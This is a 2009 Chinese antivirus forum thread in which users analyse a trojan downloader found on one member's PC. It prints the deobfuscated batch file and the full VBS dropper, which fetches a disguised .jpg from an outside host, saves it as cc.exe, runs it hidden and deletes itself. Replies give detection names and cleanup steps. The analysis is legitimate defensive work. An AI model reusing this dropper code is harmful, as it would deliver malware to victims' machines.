这是什么病毒，如何查杀？两个文件（bai.BAT+bai.VBS）

poetbox

全部代码终于被我破开了，内容如下：

//bai.bat
del cc.exe
ftp.exe -s:C:\WINDOWS\help\help.dll
if not exist cc.exe sfd -s:C:\WINDOWS\help\help.dll
if not exist cc.exe sft -s:C:\WINDOWS\help\help.dll
cc.exe
cc.exe
cc1.exe
cc1.exe
if not exist cc.exe C:\WINDOWS\help\bai.VBS
:end
del C:\WINDOWS\help\help.dll
del C:\WINDOWS\help\bai.BAT
exit
以上为BAT
以下为VBS
//bai.vbs
on error resume next
set oshell = wscript.createobject (Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(115)+Chr(104)+Chr(101)+Chr(108)+Chr(108))
Set xPost = CreateObject(Chr(77)+Chr(105)+Chr(99)+Chr(114)+Chr(111)+Chr(115)+Chr(111)+Chr(102)+Chr(116)+Chr(46)+Chr(88)+Chr(77)+Chr(76)+Chr(72)+Chr(84)+Chr(84)+Chr(80))
xPost.Open Chr(71)+Chr(69)+Chr(84),Chr(104)+Chr(116)+Chr(116)+Chr(112)+Chr(58)+Chr(47)+Chr(47)+"www.fgetchr.cn:83/rc/zj/gx"+Chr(46)+Chr(106)+Chr(112)+Chr(103),Chr(48)
xPost.Send()
Set sGet = CreateObject(Chr(65)+Chr(68)+Chr(79)+Chr(68)+Chr(66)+Chr(46)+Chr(83)+Chr(116)+Chr(114)+Chr(101)+Chr(97)+Chr(109))
sGet.Mode = Chr(51)
sGet.Type = Chr(49)
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "cc"+Chr(46)+Chr(101)+Chr(120)+Chr(101),Chr(50)
oshell.RUN "cc"+Chr(46)+Chr(101)+Chr(120)+Chr(101),vbhide
oshell.RUN "cmd.exe /c del C:\WINDOWS\help\bai.VBS",vbhide

问：这是什么病毒？
现在电脑中出现CXS.exe，导致拨号断网。经常会在宽带连接时中断半秒到一秒，然后不需要拨号又连上了。
本机：Avast家庭注册版+EQ+COMODO

syfwxmh

2009/5/2 下午 02:07:30 [ig]http://www.fgetchr.cn:83/rc/zj/gx.jpg[/img] Maxthon Browser Detected: fgetchr.cn/* Databases

Palkia

病毒        2009-05-02  16:33:50        F:\DL\gx.jpg        Win32.TrojDownloader.Femad.176128 (木马下载器)        隔离成功

328397663

原帖由 J-F-F 于 2009-5-2 14:07 发表
vbs 下载hxxp://www.fgetchr.cn:83/rc/zj/gx.jpg


怎么办？结束wscript进程，删除C:\WINDOWS\help\help.dll

放上来

aerbeisi

328397663

原帖由 J-F-F 于 2009-5-2 18:27 发表
hxxp://www.fgetchr.cn:83/rc/zj/gx.jpg
下载
hxxp://crr.fdu8.cn/rc/gx.jpg

某些地址无法下载.

feinibuke110

微点成功清除

Ceker

记得瑞星在51前好几天就收到了这个样本。

[ 本帖最后由 Ceker 于 2009-5-3 02:49 编辑 ]

poetbox

这个网页Avast就报毒了，我都打不开了。

楼上的分析的非常好！是否可以把这家伙举报抓起来！太坏了。

水晶

Trojan.DL.Win32.VB.zpj
瑞 星 版 本 号
　  20.89.40